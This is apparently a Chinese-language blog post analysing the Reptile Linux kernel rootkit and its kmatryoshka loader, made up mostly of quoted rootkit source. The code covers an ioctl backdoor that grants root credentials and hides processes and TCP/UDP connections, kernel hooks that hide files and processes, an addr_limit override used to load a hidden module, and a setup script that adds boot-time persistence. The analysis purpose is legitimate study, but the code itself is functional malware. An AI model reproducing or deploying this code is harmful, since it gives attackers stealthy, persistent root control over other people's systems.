Reptile是github上一個很火的linux lkm rootkit,最近學習了一些linux rootkit的內容,在這裏記錄一下。html
主要是分析reptile的實現linux
安裝命令:git
sudo ./setup.sh install
而後執行下面的命令github
/reptile/reptile_cmd show
接着就能夠看到/reptile目錄下的一些東西了,這是項目安裝在系統中的一些文件,在安裝完成後,默認是隱藏的。具體的執行命令就再也不這裏贅述了ubuntu
會出現下面這些程序centos
Reptile使用了兩個其餘的項目框架
一、khook:一個內核鉤子框架,具體分析能夠看這裏http://www.javashuo.com/article/p-sddzvgrc-s.htmlsocket
二、kmatryoshka:一個動態的模塊加載器tcp
這裏先分析一下kmatryoshka的實現ide
parasite_loader/main.c中的init_module函數是入口函數。encrypt目錄下表明的都是加密相關部分。
整個loader是做爲一個模塊插入到內核中去的,這個模塊的功能是加載用戶空間的模塊,使用的就是init_module函數的系統調用處理函數sys_init_module,它是一個導出函數,經過查找kallsyms獲得該函數的地址,就可使用。
首先看尋找sys_init_module的實現,使用的是kallsyms_on_each_symbol函數,傳入一個尋找函數就能夠從找到符號地址,實現使用的就是下面這兩個函數,在data[0]放入要尋找的內容,data[1]放入結果。
static int ksym_lookup_cb(unsigned long data[], const char *name, void *module, unsigned long addr) { int i = 0; while (!module && (((const char *)data[0]))[i] == name[i]) { if (!name[i++]) return !!(data[1] = addr); } return 0; } static inline unsigned long ksym_lookup_name(const char *name) { unsigned long data[2] = { (unsigned long)name, 0 }; kallsyms_on_each_symbol((void *)ksym_lookup_cb, data); return data[1]; }
而後在init_module函數中這樣調用
sys_init_module = (void *)ksym_lookup_name("sys_init_module");
再獲取到符號地址後,在傳入parasite_blob,也就是目的模塊的地址時,還須要thread_info結構中的addr_limit,這個是表示用戶地址空間地址的最大值,在init_module函數中,會對地址作校驗,使用的就是addr_limit,這裏就會修改一下這個值,保證地址檢查經過。
if (sys_init_module) { const char *nullarg = parasite_blob; unsigned long seg = user_addr_max(); while (*nullarg) nullarg++; user_addr_max() = roundup((unsigned long)parasite_blob + sizeof(parasite_blob), PAGE_SIZE); sys_init_module(parasite_blob, sizeof(parasite_blob), nullarg); user_addr_max() = seg; }
回到Reptile,主目錄下,parasite_loader就是上面講到的項目,khook就是內核鉤子的框架,sbin是用戶態的一些程序,reptile_cmd等這些程序都使經過sbin下面的程序編譯出來的,script下面的腳本是生成的一些腳本存放目錄,下面的內容在安裝完成後自動刪除了。loader下面的程序也比較簡單,主要的邏輯寫在rep_mod中,下面主要說一下這個文件中各個函數的功能
主函數,khook_init用來初始化khook,magic_packet_hook_options則是netlink鉤子,START在setup腳本中被設置成reptile_start,
static int __init reptile_init(void) { int ret; char *argv[] = {START, NULL, NULL}; //建立工做線程 work_queue = create_workqueue(WORKQUEUE); ret = khook_init(); if (ret != 0) goto out; magic_packet_hook_options.hook = (void *)magic_packet_hook; magic_packet_hook_options.hooknum = 0; magic_packet_hook_options.pf = PF_INET; magic_packet_hook_options.priority = NF_IP_PRI_FIRST; #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 13, 0) nf_register_net_hook(&init_net, &magic_packet_hook_options); #else nf_register_hook(&magic_packet_hook_options); #endif exec(argv); hide(); out: return ret; }
netlink鉤子
KHOOK_EXT(int, inet_ioctl, struct socket *, unsigned int, unsigned long); static int khook_inet_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg) { int ret = 0; unsigned int pid; struct control args; struct sockaddr_in addr; struct hidden_conn *hc; if (cmd == AUTH && arg == HTUA) { if (control_flag) { control_flag = 0; } else { control_flag = 1; } goto out; } if (control_flag && cmd == AUTH) { if (copy_from_user(&args, (void *)arg, sizeof(args))) goto out; switch (args.cmd) { //0則更改隱藏或是顯示 case 0: if (hide_module) { show(); hidden = 0; } else { hide(); hidden = 1; } break; case 1://根據pid設置進程的可見性 if (copy_from_user(&pid, args.argv, sizeof(unsigned int))) goto out; if (is_invisible(pid)) flag_tasks(pid, 0); else flag_tasks(pid, 1); break; case 2: if (file_tampering) file_tampering = 0; else file_tampering = 1; break; case 3://提權 #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29) current->uid = 0; current->suid = 0; current->euid = 0; current->gid = 0; current->egid = 0; current->fsuid = 0; current->fsgid = 0; cap_set_full(current->cap_effective); cap_set_full(current->cap_inheritable); cap_set_full(current->cap_permitted); #else commit_creds(prepare_kernel_cred(0)); #endif break; case 4://增長隱藏tcp端口 if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in))) goto out; hc = kmalloc(sizeof(*hc), GFP_KERNEL); if (!hc) goto out; hc->addr = addr; list_add(&hc->list, &hidden_tcp_conn); break; case 5://刪除隱藏tcp端口 if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in))) goto out; list_for_each_entry(hc, &hidden_tcp_conn, list) { if (addr.sin_port == hc->addr.sin_port && addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) { list_del(&hc->list); kfree(hc); break; } } break; case 6://增長隱藏tcp端口 if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in))) goto out; hc = kmalloc(sizeof(*hc), GFP_KERNEL); if (!hc) goto out; hc->addr = addr; list_add(&hc->list, &hidden_udp_conn); break; case 7://刪除隱藏tcp端口 if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in))) goto out; list_for_each_entry(hc, &hidden_udp_conn, list) { if (addr.sin_port == hc->addr.sin_port && addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) { list_del(&hc->list); kfree(hc); break; } } break; default: goto origin; } goto out; } origin: ret = KHOOK_ORIGIN(inet_ioctl, sock, cmd, arg); out: return ret; }
KHOOK_EXT(int, fillonedir, void *, const char *, int, loff_t, u64, unsigned int); static int khook_fillonedir(void *__buf, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { int ret = 0; if (!strstr(name, HIDE) || !hidden) ret = KHOOK_ORIGIN(fillonedir, __buf, name, namlen, offset, ino, d_type); return ret; } KHOOK_EXT(int, filldir, void *, const char *, int, loff_t, u64, unsigned int); static int khook_filldir(void *__buf, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { int ret = 0; if (!strstr(name, HIDE) || !hidden) ret = KHOOK_ORIGIN(filldir, __buf, name, namlen, offset, ino, d_type); return ret; } KHOOK_EXT(int, filldir64, void *, const char *, int, loff_t, u64, unsigned int); static int khook_filldir64(void *__buf, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { int ret = 0; if (!strstr(name, HIDE) || !hidden) ret = KHOOK_ORIGIN(filldir64, __buf, name, namlen, offset, ino, d_type); return ret; } KHOOK_EXT(int, compat_fillonedir, void *, const char *, int, loff_t, u64, unsigned int); static int khook_compat_fillonedir(void *__buf, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { int ret = 0; if (!strstr(name, HIDE) || !hidden) ret = KHOOK_ORIGIN(compat_fillonedir, __buf, name, namlen, offset, ino, d_type); return ret; } KHOOK_EXT(int, compat_filldir, void *, const char *, int, loff_t, u64, unsigned int); static int khook_compat_filldir(void *__buf, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { int ret = 0; if (!strstr(name, HIDE) || !hidden) ret = KHOOK_ORIGIN(compat_filldir, __buf, name, namlen, offset, ino, d_type); return ret; } #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 12, 0) KHOOK_EXT(int, compat_filldir64, void *buf, const char *, int, loff_t, u64, unsigned int); static int khook_compat_filldir64(void *__buf, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { int ret = 0; if (!strstr(name, HIDE) || !hidden) ret = KHOOK_ORIGIN(compat_filldir64, __buf, name, namlen, offset, ino, d_type); return ret; } #endif #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 9, 0) KHOOK_EXT(struct dentry *, __d_lookup, const struct dentry *, const struct qstr *); struct dentry *khook___d_lookup(const struct dentry *parent, const struct qstr *name) #else KHOOK_EXT(struct dentry *, __d_lookup, struct dentry *, struct qstr *); struct dentry *khook___d_lookup(struct dentry *parent, struct qstr *name) #endif { struct dentry *found = NULL; if (!strstr(name->name, HIDE) || !hidden) found = KHOOK_ORIGIN(__d_lookup, parent, name); return found; } KHOOK_EXT(struct tgid_iter, next_tgid, struct pid_namespace *, struct tgid_iter); static struct tgid_iter khook_next_tgid(struct pid_namespace *ns, struct tgid_iter iter) { if (hidden) { while ((iter = KHOOK_ORIGIN(next_tgid, ns, iter), iter.task) != NULL) { if (!(iter.task->flags & FLAG)) break; iter.tgid++; } } else { iter = KHOOK_ORIGIN(next_tgid, ns, iter); } return iter; }
setup腳本中,有讓模塊在啓動時被加載的設置
if [ "$SYSTEM" == "debian" ] || [ "$SYSTEM" == "ubuntu" ]; then echo -ne "#<$TAG>\n$MODULE\n#</$TAG>" >> /etc/modules || { echo -e "\e[01;31mERROR!\e[00m\n"; exit; } elif [ "$SYSTEM" == "redhat" ] || [ "$SYSTEM" == "centos" ] || [ "$SYSTEM" == "fedora" ]; then echo -ne "#<$TAG>\nmodprobe $MODULE\n#</$TAG>" >> /etc/rc.modules && \ chmod +x /etc/rc.modules || { echo -e "\e[01;31mERROR!\e[00m\n"; exit; } #elif [ "$SYSTEM" == "arch" ]; then # echo -ne "#<$TAG>\n$MODULE\n#</$TAG>" >> /etc/modules || { echo -e "\e[01;31mERROR!\e[00m\n"; exit; } fi